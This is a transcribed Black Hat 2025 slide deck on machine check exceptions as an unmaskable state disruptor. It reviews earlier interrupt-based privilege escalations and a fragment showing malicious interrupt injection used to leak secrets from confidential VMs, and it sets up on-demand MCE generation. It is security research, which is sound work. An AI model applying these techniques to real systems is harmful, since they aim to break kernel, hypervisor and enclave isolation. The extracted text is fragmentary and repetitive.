


A stylized graphic of a circuit board or PCB, rendered in white lines and dots on a black background. The lines represent traces, and the dots represent solder points or vias. The design is abstract and modern, with lines extending from the left side towards the center.

# ghosts in the machine check

{ domas / @xoreaxeaxeax / Black Hat 2025

An abstract graphic on the left side of the slide, resembling a circuit board or a stylized tree. It consists of thin, light gray lines that branch out from a solid gray rectangular base at the bottom left. Small gray dots are placed at various points along these lines, suggesting nodes or components in a network.

[demo]



An abstract graphic of a circuit board pattern in a light gray color, set against a black background. The pattern consists of various lines, dots, and geometric shapes that resemble electronic components and wiring, primarily concentrated on the left side of the image.

• Interrupts and Exceptions

state disruption




CPU

```
static void rtc_get_rtc_time(struct rtc_time *rtc_tm)
{
    unsigned long uip_watchdog = jiffies, flags;
    unsigned char ctrl;

    while (rtc_is_updating() != 0 &&
           time_before(jiffies, uip_watchdog + 2*HZ/100))
        cpu_relax();

    ...
}
```



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    ...
}
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
CPU


PCIe

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        cpu_relax();

    ...
}
```






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        cpu_relax();

    ...
    ! interrupt
}

static irqreturn_t dpc_irq(int irq, void *context)
{
    struct pci_dev *pdev = context;
    u16 cap = pdev->dpc_cap, status;

    pci_read_config_word(pdev, cap + ..., &status);
    ...
    pci_write_config_word(pdev, cap + ..., ...);
    ...
    return IRQ_HANDLED;
}
```




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}

! interrupt

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
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    ...
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    ...
    return IRQ_HANDLED;
}
```



- Interrupts and Exceptions

- Trigger a handler
- Handler must save/restore system state
  - Not always easy / practical / possible

state disruption

```
static void rtc_get_rtc_time(struct rtc_time *rtc_tm)
{
    unsigned long uip_watchdog = jiffies, flags;
    unsigned char ctrl;

    while (rtc_is_updating() != 0 &&
           time_before(jiffies, uip_watchdog + 2*HZ/100))
        cpu_relax();

    rtc_tm->tm_sec = CMOS_READ(RTC_SECONDS);
    rtc_tm->tm_min = CMOS_READ(RTC_MINUTES);
    rtc_tm->tm_hour = CMOS_READ(RTC_HOURS);
    rtc_tm->tm_mday = CMOS_READ(RTC_DAY_OF_MONTH);
    rtc_tm->tm_mon = CMOS_READ(RTC_MONTH);
    rtc_tm->tm_year = CMOS_READ(RTC_YEAR);
    rtc_tm->tm_wday = CMOS_READ(RTC_DAY_OF_WEEK);

    ctrl = CMOS_READ(RTC_CONTROL);

    ...
}
```

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static void rtc_get_rtc_time(struct rtc_time *rtc_tm)
{
    unsigned long uip_watchdog = jiffies, flags;
    unsigned char ctrl;

    while (rtc_is_updating() != 0 &&
           time_before(jiffies, uip_watchdog + 2*HZ/100))
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    rtc_tm->tm_mon = CMOS_READ(RTC_MONTH);
    rtc_tm->tm_year = CMOS_READ(RTC_YEAR);
    rtc_tm->tm_wday = CMOS_READ(RTC_DAY_OF_WEEK);
```

```
    ctrl = CMOS_READ(RTC_CONTROL);
```

```
    ...
}
```

```
    outb(RTC_SECONDS, RTC_PORT(0));
    val = inb(RTC_PORT(1));
```

```
static void rtc_get_rtc_time(struct rtc_time *rtc_tm)
{
    unsigned long uip_watchdog = jiffies, flags;
    unsigned char ctrl;

    while (rtc_is_updating() != 0 &&
           time_before(jiffies, uip_watchdog + 2*HZ/100))
        cpu_relax();
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    rtc_tm->tm_sec = CMOS_READ(RTC_SECONDS);
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    rtc_tm->tm_hour = CMOS_READ(RTC_HOURS);
    rtc_tm->tm_mday = CMOS_READ(RTC_DAY_OF_MONTH);
    rtc_tm->tm_mon = CMOS_READ(RTC_MONTH);
    rtc_tm->tm_year = CMOS_READ(RTC_YEAR);
    rtc_tm->tm_wday = CMOS_READ(RTC_DAY_OF_WEEK);

    ctrl = CMOS_READ(RTC_CONTROL);
```

```
    outb(RTC_SECONDS, RTC_PORT(0));
    val = inb(RTC_PORT(1));
```

! interrupt

```
static irqreturn_t rtc_interrupt(int irq, void *dev_id)
{
    ...
    outb(RTC_YEAR, RTC_PORT(0));
    ...
}
```

```
static void rtc_get_rtc_time(struct rtc_time *rtc_tm)
{
    unsigned long uip_watchdog = jiffies, flags;
    unsigned char ctrl;

    while (rtc_is_updating() != 0 &&
           time_before(jiffies, uip_watchdog + 2*HZ/100))
        cpu_relax();
```

```
    rtc_tm->tm_sec = CMOS_READ(RTC_SECONDS);
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    rtc_tm->tm_mday = CMOS_READ(RTC_DAY_OF_MONTH);
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    rtc_tm->tm_year = CMOS_READ(RTC_YEAR);
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    ctrl = CMOS_READ(RTC_CONTROL);
```

```
    outb(RTC_SECONDS, RTC_PORT(0));
    val = inb(RTC_PORT(1));
```

```
static irqreturn_t rtc_interrupt(int irq, void *dev_id)
{
    ...
    outb(RTC_YEAR, RTC_PORT(0));
    ...
}
```

- Some things shouldn't be interrupted
  - Privilege and mode transitions
  - Secure environments
  - Interrupt handlers, page-table updates, critical sections, etc.
- Solution: interrupt suppression
  - Keep interrupts pending temporarily,  
then service in new environment


state disruption

```
static void rtc_get_rtc_time(struct rtc_time *rtc_tm)
{
    unsigned long uip_watchdog = jiffies, flags;
    unsigned char ctrl;

    while (rtc_is_updating() != 0 &&
           time_before(jiffies, uip_watchdog + 2*HZ/100))
        cpu_relax();

    spin_lock_irqsave(&rtc_lock, flags);
    rtc_tm->tm_sec = CMOS_READ(RTC_SECONDS);
    rtc_tm->tm_min = CMOS_READ(RTC_MINUTES);
    rtc_tm->tm_hour = CMOS_READ(RTC_HOURS);
    rtc_tm->tm_mday = CMOS_READ(RTC_DAY_OF_MONTH);
    rtc_tm->tm_mon = CMOS_READ(RTC_MONTH);
    rtc_tm->tm_year = CMOS_READ(RTC_YEAR);
    rtc_tm->tm_wday = CMOS_READ(RTC_DAY_OF_WEEK);

    ctrl = CMOS_READ(RTC_CONTROL);
    spin_unlock_irqrestore(&rtc_lock, flags);
    ...
}
```

- 
- Transition code / secure environments must *carefully* accommodate unsuppressed interrupts/exceptions
  - As long as everything is written perfectly, all the time, for every fringe case, there are no issues

state disruption

An abstract graphic of a circuit board pattern in light gray on a black background. The pattern consists of various lines, dots, and rectangular shapes, resembling a complex electronic layout. It is positioned on the left side of the image, extending from the top to the bottom.

• Difficulties arise

state disruption

## → Wojtczuk (2012) – (userland to kernel) Interrupts/exceptions in syscall handler on untrusted stack

```
diff -r 340062faf298 -r ad87903fdca1 xen/arch/x86/x86_64/entry.S
--- a/xen/arch/x86/x86_64/entry.S      Wed May 23 11:06:49 2012 +0100
+++ b/xen/arch/x86/x86_64/entry.S      Thu May 24 11:02:35 2012 +0100
@@ -40,6 +40,13 @@ restore_all_guest:
    testw $TRAP_syscall,4(%rsp)
    jz   iret_exit_to_guest

+   /* Don't use SYSRET path if the return address is not canonical. */
+   movq 8(%rsp),%rcx
+   sarq $47,%rcx
+   incl %ecx
+   cmpl $1,%ecx
+   ja   .Lforce_iret
+
    addq $8,%rsp
    popq %rcx          # RIP
    popq %r11          # CS
@@ -50,6 +57,10 @@ restore_all_guest:
    sysretq
1:   sysretl

+.Lforce_iret:
+   /* Mimic SYSRET behavior. */
+   movq 8(%rsp),%rcx   # RIP
+   movq 24(%rsp),%r11  # RFLAGS
+   ALIGN
+   /* No special register assumptions. */
+   iret_exit_to_guest:
```

## ↳ Peterson/Mulasmajic (2018) – (userland to kernel) pop ss/mov ss Vulnerability

```
KiBreakpointTrap proc
sub rsp, 8
push rbp
sub rsp, 158h
lea rbp, [rsp+80h]
mov [rbp+TrapInfo.ExceptionActive], 1
mov [rbp+TrapInfo._Rax], rax
mov [rbp+TrapInfo._Rcx], rcx
mov [rbp+TrapInfo._Rdx], rdx
mov [rbp+TrapInfo._R8], r8
mov [rbp+TrapInfo._R9], r9
mov [rbp+TrapInfo._R10], r10
mov [rbp+TrapInfo._R11], r11
test byte ptr [rbp+TrapInfo.SegCs], 1
jz short ExecutingInKernelModeContext
swapgs
mov r10, gs:_KPCR.Prcb.CurrentThread
test [r10+_KTHREAD.Header.DebugActive], 80h
jz short DebugIsActive
mov ecx, 0C0000102h
rdmsr
```

## • GPZ (2023) – (hypervisor to TEE)

Induce exception to compromise TDX SEAMLDR

```
lgdt FWORD PTR [rcx].SEAMLDR_COM64_DATA.OriginalGdtr
mov rbx, QWORD PTR [rcx].SEAMLDR_COM64_DATA.ResumeRip
mov r8, QWORD PTR [rcx].SEAMLDR_COM64_DATA.OriginalCR3
mov r9, QWORD PTR [rcx].SEAMLDR_COM64_DATA.RetVal
mov rdx, 0
mov rax, EXITAC
push 2
popfq
mov rcx, 0

...
GETSEC[EXITAC]
```

- Schluter et al. (2024) – (hypervisor to TEE)  
Inject malicious interrupts to break confidential VMs

%% Example: Leak secret

mov eax , 4 % write syscall number

mov ebx ... % move shared memory fd

mov ecx, [ebp - 4] % buf

mov edx, 8 % count

... ; << malicious interrupt injection from hypervisor

A decorative graphic on the left side of the slide, consisting of a series of thin, light-gray lines that resemble a circuit board or a stylized tree. The lines are vertical and horizontal, with small dots at the ends, creating a complex, branching pattern that extends from the top to the bottom of the slide.

- Interrupts are a sort of state disruptor

state disruption

## • Solution: *heavy* interrupt suppression

### → Software

- Interrupt flag (e.g. “cli”)
- Task priority register

### → Microcode

- Clear interrupt flag on entry to ISR
- Mask NMI until “iret” to prevent nested NMIs
- INIT/SIPI
- Enclaves

### → Hardware

- Mask interrupt lines at Programmable Interrupt Controller
- C-states
- Disable generation from various peripherals

- e.g. clear IF, clear TF, clear DR7, latch NMI, latch SMI,  
mask INIT, clear DEBUGCTL, etc.

state disruption

An abstract graphic of a circuit board pattern in a light gray color, set against a dark gray background. The pattern consists of various lines, dots, and geometric shapes that resemble electronic components and traces, primarily concentrated on the left side of the image.

• Can we break through this?

state disruption

- 
- One interrupt that generally cannot be delayed, suppressed, latched, etc.:

the Machine Check Exception (MCE)

state disruption


- Unpredictable hardware failures
  - Memory corruptions
  - Cache errors
  - TLB failures
  - etc.
- Caused by aging devices, thermal limits, signal integrity, static electricity, heat, high energy particles, etc.
- CPU detects and generates #MC exception
- #MC transfers control to 18<sup>th</sup> interrupt handler in Interrupt Descriptor Table (IDT), installed by OS

# machine check exceptions




CPU

machine check exceptions




machine check exceptions




machine check exceptions

*“The CATERR# indicates that the system has experienced a catastrophic error and cannot continue to operate”*


CATERR#




machine check exceptions



machine check exceptions



machine check exceptions



```
push %rax
push %rdi
push %rsi
push %rdx
push %rcx
push %r8
push %r9
push %r10
push %r11
mov $0x3,%rdi
mov $0xfe,%rsi
mov 0x48(%rsp),%rdx
mov 0x50(%rsp),%r10
callq 1180 <mce_handler>
pop %r11
pop %r10
pop %r9
pop %r8
pop %rcx
pop %rdx
pop %rsi
pop %rdi
pop %rax
iretq
```



# machine check exceptions

A diagram showing two white-outlined squares on a black background with faint circuit traces. The top square is labeled 'CPU' and the bottom square is labeled 'PCIe'.


CPU

PCIe

machine check exceptions




machine check exceptions




machine check exceptions


*“The CATERR# indicates that the system has experienced a catastrophic error and cannot continue to operate”*




machine check exceptions




machine check exceptions



machine check exceptions




# machine check exceptions

- 
- Hardware failure happened
  - Machine check generated by CPU
  - OS has control
  - What should handler do?

# machine check exceptions




"MCE can be delivered at any time"

An abstract graphic of a circuit board pattern in a light gray color, set against a solid black background. The pattern consists of various lines, dots, and geometric shapes that resemble electronic components and traces, primarily concentrated on the left side of the image.

“Machine check exceptions can trigger all the time, even in a critical section when all normal interrupts are disabled.”


"MCE can be delivered at any time"

A decorative graphic on the left side of the slide, consisting of a network of thin, light-gray lines and small dots, resembling a circuit board or a neural network diagram. The lines are more dense and vertical on the left, branching out towards the right.

“Machine check exceptions can trigger all the time, even in a critical section when all normal interrupts are disabled.”

Default return value:  
Action required, the error **must be handled immediately**.

"MCE can be delivered at any time"




“Machine check exceptions can trigger all the time, even in a critical section when all normal interrupts are disabled.”

Default return value:  
Action required, the error must be handled immediately.

"It is also important to handle the machine check quickly (because the machine may be **already unstable** after an hardware failure). When the handling is delayed to bring the kernel into a easier to handle state first there is a risk that the event cannot be handled at all."

"MCE can be delivered at any time"



“Machine check exceptions can trigger all the time, even in a critical section when all normal interrupts are disabled.”

"An uncorrectable error will cause a machine panic"

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"MCE can be delivered at any time"

“Machine check exceptions can trigger all the time, even in a critical section when all normal interrupts are disabled.”

"An uncorrectable error will cause a machine panic"

Default return value:  
Action required, the error must be handled immediately.

"By default the **kernel will always panic** on a MC in the kernel to avoid this deadlock. The rationale is that a panic can be handled better than a deadlock..."

"It is also important to handle the machine check quickly (because the machine may be already unstable after an hardware failure). When the handling is delayed to bring the kernel into a easier to handle state first there is a risk that the event cannot be handled at all."

"MCE can be delivered at any time"

“Machine check exceptions can trigger all the time, even in a critical section when all normal interrupts are disabled.”

“It is a **bad idea to continue** when an uncorrectable error occurs – it is indeterminate what was uncorrected and the operating system context might be so mangled that continuing will lead to further corruption.”

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Default return value:  
Action required, the error must be handled immediately.

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"MCE can be delivered at any time"

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“It is a bad idea to continue when an uncorrectable error occurs – it is indeterminate what was uncorrected and the operating system context might be so mangled that continuing will lead to further corruption.”

"An uncorrectable error will cause a machine panic"

Default return value:  
Action required, the error must be handled immediately.

"By default the kernel will always panic on a MC in the kernel to avoid this deadlock. The rationale is that a panic can be handled better than a deadlock..."

"It is also important to handle the machine check quickly (because the machine may be already unstable after an hardware failure). When the handling is delayed to bring the kernel into a easier to handle state first there is a risk that the event cannot be handled at all."

`no_way_out = worst >= MCE_PANIC_SEVERITY;`

"MCE can be delivered at any time"

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Processor Context Corrupt, **no need to fumble too much, die!**

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
`no_way_out = worst >= MCE_PANIC_SEVERITY;`

"MCE can be delivered at any time"

- MCE handler
  - Determine source of error
  - Print a message if possible
  - Shut down before things get worse

# machine check exceptions


\* even more complex with advent of RAS and correctable errors

- 
- MCEs are unique
    - Demand immediacy
    - Represent an unexpected, critical hardware failure
    - Cannot be masked, delayed, deprioritized, or preempted

# machine check exceptions

- Single way to avoid handling MCEs
  - Disable in CR4 register
  - If MCE is received while disabled in CR4, CPU resets
- CPU options are:
  - Handling MCEs immediately
  - Or be reset when one is received

# machine check exceptions

- 
- Solution: ~~heavy~~ interrupt suppression
  - MCEs hit the CPU unexpectedly,  
break through all other interrupt defenses

machine check exceptions

An abstract graphic of a circuit board pattern in a dark gray color, set against a black background. The pattern consists of thin, interconnected lines and small circular nodes, resembling a complex network or a stylized map. It is positioned on the left side of the image, extending from the top to the bottom.

Let's build a hammer...

A decorative graphic on the left side of the slide, consisting of a vertical stack of horizontal lines and dots, resembling a circuit board or a data stream. The lines and dots are white and extend from the left edge towards the center of the slide.

## • Challenge

- MCEs are exceedingly rare, sporadic, unpredictable hardware failures

generating MCEs

An abstract graphic of a circuit board pattern in a dark gray color, set against a black background. The pattern consists of thin, interconnected lines and small circular nodes, resembling a complex network or a stylized map. It is primarily located on the left side of the image, with some lines extending towards the center.

[demo]

generating MCEs

	CPU0	CPU1	CPU2	CPU3		
0:	48	0	0	0	IO-APIC 2-edge	timer
8:	1	0	0	0	IO-APIC 8-edge	rtc0
9:	0	0	0	0	IO-APIC 9-fastestoi	acpi
16:	0	446	0	0	IO-APIC 16-fastestoi	snd_hda_intel:card1
18:	0	0	0	536049	IO-APIC 18-fastestoi	ehci_hcd:usb1, ehci_hcd:usb2
25:	0	0	0	0	PCI-MSI 34816-edge	PCIe PME, pciehp
27:	0	0	0	0	PCI-MSI 36864-edge	PCIe PME, pciehp
29:	0	0	0	0	PCI-MSI 38912-edge	PCIe PME, pciehp
31:	0	0	0	0	PCI-MSI 40960-edge	PCIe PME, pciehp
32:	0	0	0	0	PCI-MSI 43008-edge	PCIe PME, pciehp
33:	0	220	1365	0	PCI-MSI 278528-edge	ahci[0000:00:11.0]
34:	0	0	31	0	PCI-MSI 262144-edge	xhci_hcd
35:	0	0	0	0	PCI-MSI 262145-edge	xhci_hcd
37:	0	0	0	0	PCI-MSI 262146-edge	xhci_hcd
38:	0	0	0	0	PCI-MSI 262147-edge	xhci_hcd
39:	0	0	0	0	PCI-MSI 262148-edge	xhci_hcd
40:	0	0	0	140590	PCI-MSI 2097152-edge	enp4s0
42:	0	0	0	0	PCI-MSI 131073-edge	ccp-1
44:	54	0	0	0	PCI-MSI 18432-edge	snd_hda_intel:card0
46:	0	0	6	0	PCI-MSI 16384-edge	radeon
NMI:	18	16	10	12	Non-maskable interrupts	
LOC:	1328403	524713	484269	884136	Local timer interrupts	
SPU:	0	0	0	0	Spurious interrupts	
PMI:	18	16	10	12	Performance monitoring interrupts	
IWI:	1167887	597638	473827	553122	IRQ work interrupts	
RTR:	0	0	0	0	APIC ICR read retries	
RES:	6574	6263	6254	5074	Rescheduling interrupts	
CAL:	228571	472783	380810	324352	Function call interrupts	
TLB:	282	361	370	345	TLB shutdowns	
TRM:	0	0	0	0	Thermal event interrupts	
THR:	0	0	0	0	Threshold APIC interrupts	
DFR:	0	0	0	0	Deferred Error APIC interrupts	
MCE:	0	0	0	0	Machine check exceptions	
MCP:	422	422	422	422	Machine check polls	
ERR:	0					
MIS:	0					
PIN:	0	0	0	0	Posted-interrupt notification event	
NPI:	0	0	0	0	Nested posted-interrupt event	
PIW:	0	0	0	0	Posted-interrupt wakeup event	

- 
- A decorative graphic on the left side of the slide, consisting of a series of thin, light-gray lines that resemble a circuit board or a stylized tree. The lines are vertical and horizontal, with small dots at the ends, creating a complex, branching pattern that extends from the top to the bottom of the slide.
- Could we generate these on-demand?
    - Simulations won't work, need real, physical MCEs

generating MCEs

- Machine check registers arranged in banks
- Different banks devoted to different sources
  - Changes across generations
  - LS, IF, L2, DE, EX, FP, L3, CS, PIE, UMC, PB, PSP, SMU, MP5, NBIO, PCIE, etc.
- Many, *many* options for MCE sources

generating MCEs

--- global ---

6	5	5	4	4	4	3	3	2	2	2	1	1	0	0	0
0	6	2	8	4	0	6	2	8	4	0	6	2	8	4	0

mcg\_cap (00000179): x xx ( 106)  
mcg\_stat (0000017a): ( 0)  
mcg\_ctl (0000017b): xx xxx ( 37)

--- MC0 (load-store) ---

6	5	5	4	4	4	3	3	2	2	2	1	1	0	0	0
0	6	2	8	4	0	6	2	8	4	0	6	2	8	4	0

mc0\_ctl (00000400): xxxxxxx xx ( fec)  
mc0\_status (00000401): ( 0)  
mc0\_addr (00000402): ( 0)  
mc0\_misc (00000403): ( 0)  
mc0\_mask (c0010044): ( 0)

--- MC1 (instruction-fetch) ---

6	5	5	4	4	4	3	3	2	2	2	1	1	0	0	0
0	6	2	8	4	0	6	2	8	4	0	6	2	8	4	0

mc1\_ctl (00000404): x x xxxxx ( 25f)  
mc1\_status (00000405): ( 0)  
mc1\_addr (00000406): ( 0)  
mc1\_misc (00000407): ( 0)  
mc1\_mask (c0010045): ( 0)

--- MC2 (combined-unit) ---

6	5	5	4	4	4	3	3	2	2	2	1	1	0	0	0
0	6	2	8	4	0	6	2	8	4	0	6	2	8	4	0

mc2\_ctl (00000408): x xxxxx xx ( 21f6)  
mc2\_status (00000409): ( 0)  
mc2\_addr (0000040a): ( 0)  
mc2\_misc (0000040b): ( 0)  
mc2\_mask (c0010046): ( 0)

--- MC3 (reserved) ---

6	5	5	4	4	4	3	3	2	2	2	1	1	0	0	0
0	6	2	8	4	0	6	2	8	4	0	6	2	8	4	0

mc3\_ctl (0000040c): ( 0)  
mc3\_status (0000040d): ( 0)  
mc3\_addr (0000040e): ( 0)  
mc3\_misc (0000040f): ( 0)  
mc3\_mask (c0010047): ( 0)

--- MC4 (northbridge) ---

6	5	5	4	4	4	3	3	2	2	2	1	1	0	0	0
0	6	2	8	4	0	6	2	8	4	0	6	2	8	4	0

mc4\_ctl (00000410): xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ( ffffffff)  
mc4\_status (00000411): ( 0)  
mc4\_addr (00000412): ( 0)  
mc4\_misc0 (00000413): xx xx x x (c01a000001000000)  
mc4\_misc1 (c0000408): x x ( 10000001000000)  
mc4\_misc2 (c0000409): ( 0)  
mc4\_mask (c0010048): x ( 4000000)

--- MC5 (execution-unit) ---

6	5	5	4	4	4	3	3	2	2	2	1	1	0	0	0
0	6	2	8	4	0	6	2	8	4	0	6	2	8	4	0

mc5\_ctl (00000414): x ( 1)  
mc5\_status (00000415): ( 0)  
mc5\_addr (00000416): ( 0)  
mc5\_misc (00000417): ( 0)  
mc5\_mask (c0010049): ( 0)



```
static const char * const f15h_mc1_mce_desc[] = {
    "UC during a demand linefill from L2",
    "Parity error during data load from IC",
    "Parity error for IC valid bit",
    "Main tag parity error",
    "Parity error in prediction queue",
    "PFB data/address parity error",
    "Parity error in the branch status reg",
    "PFB promotion address error",
    "Tag error during probe/victimization",
    "Parity error for IC probe tag valid bit",
    "PFB non-cacheable bit parity error",
    "PFB valid bit parity error",
    "Microcode Patch Buffer",
    "uop queue",
    "insn buffer",
    "predecode buffer",
    "fetch address FIFO",
    "dispatch uop queue"
};

/* xec = 0xd */
/* xec = 010 */
```

# generating MCEs

```
static const char * const f15h_mc2_mce_desc[] = {  
    "Fill ECC error on data fills",  
    "Fill parity error on insn fills",  
    "Prefetcher request FIFO parity error",  
    "PRQ address parity error",  
    "PRQ data parity error",  
    "WCC Tag ECC error",  
    "WCC Data ECC error",  
    "WCB Data parity error",  
    "VB Data ECC or parity error",  
    "L2 Tag ECC error",  
    "Hard L2 Tag ECC error",  
    "Multiple hits on L2 tag",  
    "XAB parity error",  
    "PRB address parity error"  
};
```

/\* xec = 0x4 \*/

/\* xec = 0x10 \*/

# generating MCEs

```
static const char * const mc4_mce_desc[] = {
    "DRAM ECC error detected on the NB",
    "CRC error detected on HT link",
    "Link-defined sync error packets detected on HT link",
    "HT Master abort",
    "HT Target abort",
    "Invalid GART PTE entry during GART table walk",
    "Unsupported atomic RMW received from an IO link",
    "Watchdog timeout due to lack of progress",
    "DRAM ECC error detected on the NB",
    "SVM DMA Exclusion Vector error",
    "HT data error detected on link",
    "Protocol error (link, L3, probe filter)",
    "NB internal arrays parity error",
    "DRAM addr/ctl signals parity error",
    "IO link transmission error",
    "L3 data cache ECC error",
    "L3 cache tag error",
    "L3 LRU parity bits error",
    "ECC Error in the Probe Filter directory"
};
```

# generating MCEs

```
static const char * const mc5_mce_desc[] = {  
    "CPU Watchdog timer expire",  
    "Wakeup array dest tag",  
    "AG payload array",  
    "EX payload array",  
    "IDRF array",  
    "Retire dispatch queue",  
    "Mapper checkpoint array",  
    "Physical register file EX0 port",  
    "Physical register file EX1 port",  
    "Physical register file AG0 port",  
    "Physical register file AG1 port",  
    "Flag register file",  
    "DE error occurred",  
    "Retire status queue"  
};
```

# generating MCEs

```
static const char * const mc6_mce_desc[] = {  
    "Hardware Assertion",  
    "Free List",  
    "Physical Register File",  
    "Retire Queue",  
    "Scheduler table",  
    "Status Register File",  
};
```

# generating MCEs

Load queue parity" "Store queue parity" "Miss address buffer payload parity" "L1 TLB parity" "DC Tag error type 5" "DC tag error type 6" "DC tag error type 1" "Internal error type 1" "Internal error type 2" "Sys Read data error thread 0" "Sys read data error thread 1" "DC tag error type 2" "DC data error type 1 (poison consumption)" "DC data error type 2" "DC data error type 3" "DC tag error type 4" "L2 TLB parity" "PDC parity error" "DC tag error type 3" "DC tag error type 5" "L2 fill data error" "Error on SCB cacheline state or address field" "Error on SCB data, commit pipe 0" "Error on SCB data, commit pipe 1" "Error on SCB data for non-cacheable DRAM or IO" "System Read Data Error detected by write combine buffer" "Hardware Asserts" "An ECC error was detected on a data cache read by a probe or victimization" "An ECC error or L2 poison was detected on a data cache read by a load" "An ECC error was detected on a data cache read-modify-write by a store" "An ECC error or poison bit mismatch was detected on a tag read by a probe or victimization" "An ECC error or poison bit mismatch was detected on a tag read by a load" "An ECC error or poison bit mismatch was detected on a tag read by a store" "An ECC error was detected on an EMEM read by a load" "An ECC error was detected on an EMEM read-modify-write by a store" "A parity error was detected in an L1 TLB entry by any access" "A parity error was detected in an L2 TLB entry by any access" "A parity error was detected in a PWC entry by any access" "A parity error was detected in an STQ entry by any access" "A parity error was detected in an LDQ entry by any access" "A parity error was detected in a MAB entry by any access" "A parity error was detected in an SCB entry state field by any access" "A parity error was detected in an SCB entry address field by any access" "A parity error was detected in an SCB entry data field by any access" "A parity error was detected in a WCB entry by any access" "A poisoned line was detected in an SCB entry by any access" "A SystemReadDataError error was reported on read data returned from L2 for a load" "A SystemReadDataError error was reported on read data returned from L2 for an SCB store" "A SystemReadDataError error was reported on read data returned from L2 for a WCB store" "A hardware assertion error was reported" "A parity error was detected in an STLF, SCB EMEM entry, store data mask or SRB store data by any access" "microtag probe port parity error" "IC microtag or full tag multi-hit error" "IC full tag parity" "IC data array parity" "PRQ Parity Error" "LO ITLB parity error" "L1-TLB parity error" "L2-TLB parity error" "BPQ snoop parity on Thread 0" "BPQ snoop parity on Thread 1" "BP L1-BTB Multi-Hit Error" "BP L2-BTB Multi-Hit Error" "L2 Cache Response Poison error" "System Read Data Error" "Hardware Assertion Error" "L1-TLB Multi-Hit" "L2-TLB Multi-Hit" "BSR Parity Error" "CT MCE" "L2M Tag Multiple-Way-Hit error" "L2M Tag or State Array ECC Error" "L2M Data Array ECC Error" "Hardware Assert Error" "SDP Read Response Parity Error" "Error initiated by programmable state machine" "Micro-op cache tag array parity error" "Micro-op cache data array parity error" "IBB Register File parity error" "Micro-op queue parity error" "Instruction dispatch queue parity error" "Fetch address FIFO parity error" "Patch RAM data parity error" "Patch RAM sequencer parity error" "Micro-op fetch queue parity error" "Hardware Assertion MCA Error" "Watchdog timeout error" "Physical register file parity error" "Flag register file parity error" "Immediate displacement register file parity error" "Address generator payload parity error" "EX payload parity error" "Checkpoint queue parity error" "Retire dispatch queue parity error" "Retire status queue parity error" "Scheduler queue parity error" "Branch buffer queue parity error" "Hardware Assertion error" "Spec Map parity error" "Retire Map parity error" "Physical register file (PRF) parity error" "Freelist (FL) parity error" "Schedule queue parity error" "NSQ parity error" "Retire queue (RQ) parity error" "Status register file (SRF) parity error" "Hardware assertion" "Physical K mask register file (KRF) parity error" "Shadow tag macro ECC error" "Shadow tag macro multi-way-hit error" "L3M tag ECC error" "L3M tag multi-way-hit error" "L3M data ECC error" "SDP Parity Error from XI" "L3 victim queue Data Fabric error" "L3 Hardware Assertion" "XI WCB Parity Poison Creation event" "Machine check error initiated by DSM action" "Illegal request" "Address violation" "Security violation" "Illegal response" "Unexpected response" "Request or Probe Parity Error" "Read Response Parity Error" "Atomic request parity error" "Probe Filter ECC Error" "Illegal Request" "Address Violation" "Security Violation" "Illegal Response" "Unexpected Response" "Request or Probe Parity Error" "Read Response Parity Error" "Atomic Request Parity Error" "SDP read response had no match in the CS queue" "Probe Filter Protocol Error" "Probe Filter ECC Error" "SDP read response had an unexpected RETRY error" "Counter overflow error" "Counter underflow error" "Illegal Request on the no data channel" "Address Violation on the no data channel" "Security Violation on the no data channel" "Hardware Assert Error" "Shadow Tag Array Protocol Error" "Shadow Tag ECC Error" "Shadow Tag Transaction Error" "Illegal Request" "Address Violation" "Security Violation" "Illegal Response" "Unexpected Response" "Request or Probe Parity Error" "Read Response Parity Error" "Atomic Request Parity Error" "SDP read response had no match in the CS queue" "SDP read response had an unexpected RETRY error" "Counter overflow error" "Counter underflow error" "Probe Filter Protocol Error" "Probe Filter ECC Error" "Illegal Request on the no data channel" "Address Violation on the no data channel" "Security Violation on the no data channel" "Hardware Assert Error" "Hardware assert" "Register security violation" "Link error" "Poison data consumption" "A deferred error was detected in the DF" "Watch Dog Timer" "An SRAM ECC error was detected in the CNLI block" "Register access during DF Cstate" "DSM Error" "DRAM ECC error" "Data poison error on DRAM" "SDP parity error" "Advanced peripheral bus error" "Command/address parity error" "Write data CRC error" "DCQ SRAM ECC error" "AES SRAM ECC error" "ECS Row Error" "ECS Error" "UMC Throttling Error" "Read CRC Error" "Reserved" "Reserved" "Reserved" "Reserved" "RFM SRAM ECC error" "DRAM On Die ECC error" "Data poison error" "SDP parity error" "Reserved" "Address/Command parity error" "HBM Write data parity error" "Consolidated SRAM ECC error" "Reserved" "Reserved" "Rdb SRAM ECC error" "Thermal throttling" "HBM Read Data Parity Error" "Reserved" "UMC FW Error" "SRAM Parity Error" "HBM CRC Error" "DRAM ECC error" "Data poison error" "SDP parity error" "Reserved" "Address/Command parity error" "Write data parity error" "DCQ SRAM ECC error" "Reserved" "Read data parity error" "Rdb SRAM ECC error" "RdRsp SRAM ECC error" "LM32 MP errors" "Counter overflow error" "Counter underflow error" "Write Data Parity Error" "Read Response Parity Error" "Cache Tag ECC Error Macro 0" "Cache Tag ECC Error Macro 1" "Cache Data ECC Error" "An ECC error in the Parameter Block RAM array" "An ECC or parity error in a PSP RAM instance" "High SRAM ECC or parity error" "Low SRAM ECC or parity error" "Instruction Cache Bank 0 ECC or parity error" "Instruction Cache Bank 1 ECC or parity error" "Instruction Tag Ram 0 parity error" "Instruction Tag Ram 1 parity error" "Data Cache Bank 0 ECC or parity error" "Data Cache Bank 1 ECC or parity error" "Data Cache Bank 2 ECC or parity error" "Data Cache Bank 3 ECC or parity error" "Data Tag Bank 0 parity error" "Data Tag Bank 1 parity error" "Data Tag Bank 2 parity error" "Data Tag Bank 3 parity error" "Dirty Data Ram parity error" "TLB Bank 0 parity error" "TLB Bank 1 parity error" "System Hub Read Buffer ECC or parity error" "FUSE IP SRAM ECC or parity error" "PCRU FUSE SRAM ECC or parity error" "SIB SRAM parity error" "mpASP SECEMC Error" "mpASP A5 Hang" "SIB WDT error" "An ECC or parity error in an SMU RAM instance" "High SRAM ECC or parity error" "Low SRAM ECC or parity error" "Data Cache Bank A ECC or parity error" "Data Cache Bank B ECC or parity error" "Data Tag Cache Bank A ECC or parity error" "Data Tag Cache Bank B ECC or parity error" "Instruction Cache Bank A ECC or parity error" "Instruction Cache Bank B ECC or parity error" "Instruction Tag Cache Bank A ECC or parity error" "Instruction Tag Cache Bank B ECC or parity error" "System Hub Read Buffer ECC or parity error" "PHY RAS ECC Error" "Reserved" "A correctable error from a GFX Sub-IP" "A fatal error from a GFX Sub-IP" "Reserved" 